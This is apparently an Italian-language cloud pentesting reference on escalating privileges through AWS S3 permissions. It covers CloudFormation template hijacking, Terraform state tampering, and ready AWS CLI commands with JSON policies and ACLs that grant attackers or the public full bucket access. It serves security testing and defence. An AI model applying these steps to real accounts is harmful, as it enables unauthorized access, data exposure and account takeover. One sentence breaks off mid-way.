AWS - S3 Privesc

Reading time: 6 minutes

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Un attaccante con questi permessi su bucket interessanti potrebbe essere in grado di dirottare risorse ed elevare i privilegi.

Ad esempio, un attaccante con questi permessi su un bucket cloudformation chiamato "cf-templates-nohnwfax6a6i-us-east-1" sarà in grado di dirottare il deployment. L'accesso può essere concesso con la seguente policy:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

E l'hijack è possibile perché c'è un breve intervallo di tempo dal momento in cui il template viene caricato nel bucket al momento in cui il template viene distribuito. Un attaccante potrebbe semplicemente creare una lambda function nel suo account che si attiva quando viene inviata una notifica del bucket, e hijack il contenuto di quel bucket.

Il modulo Pacu cfn__resouce_injection può essere utilizzato per automatizzare questo attacco.
Per ulteriori informazioni, controlla la ricerca originale: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Queste sono le autorizzazioni per ottenere e caricare oggetti su S3. Diversi servizi all'interno di AWS (e al di fuori di esso) utilizzano lo storage S3 per memorizzare file di configurazione.
Un attaccante con accesso in lettura a questi file potrebbe trovare informazioni sensibili in essi.
Un attaccante con accesso in scrittura a questi file potrebbe modificare i dati per abusare di qualche servizio e cercare di elevare i privilegi.
Ecco alcuni esempi:

• Se un'istanza EC2 memorizza i dati utente in un bucket S3, un attaccante potrebbe modificarli per eseguire codice arbitrario all'interno dell'istanza EC2.

s3:PutObject, s3:GetObject (opzionale) su file di stato terraform

È molto comune che i file di stato terraform vengano salvati nello storage blob dei fornitori di cloud, ad esempio AWS S3. Il suffisso del file per un file di stato è .tfstate, e i nomi dei bucket spesso rivelano che contengono file di stato terraform. Di solito, ogni account AWS ha un bucket di questo tipo per memorizzare i file di stato che mostrano lo stato dell'account.
Inoltre, di solito, nel mondo reale, quasi sempre tutti gli sviluppatori hanno s3:* e a volte anche gli utenti aziendali hanno s3:Put*.

Quindi, se hai le autorizzazioni elencate su questi file, c'è un vettore di attacco che ti consente di ottenere RCE nella pipeline con i privilegi di terraform - per la maggior parte delle volte AdministratorAccess, rendendoti l'amministratore dell'account cloud. Inoltre, puoi utilizzare quel vettore per effettuare un attacco di denial of service facendo sì che terraform elimini risorse legittime.

Segui la descrizione nella sezione Abusing Terraform State Files della pagina Terraform Security per codice di exploit direttamente utilizzabile:

Abusing Terraform State Files

s3:PutBucketPolicy

Un attaccante, che deve essere dallo stesso account, altrimenti si attiverà l'errore The specified method is not allowed, con questo permesso sarà in grado di concedersi ulteriori autorizzazioni sui bucket, permettendogli di leggere, scrivere, modificare, eliminare ed esporre i bucket.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Un attaccante potrebbe abusare di questi permessi per concedersi più accesso su specifici bucket.
Nota che l'attaccante non deve essere dello stesso account. Inoltre, l'accesso in scrittura

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Un attaccante potrebbe abusare di questi permessi per concedersi un accesso maggiore su oggetti specifici all'interno dei bucket.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Un attaccante con questi privilegi dovrebbe essere in grado di impostare un Acl su una specifica versione dell'oggetto.

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json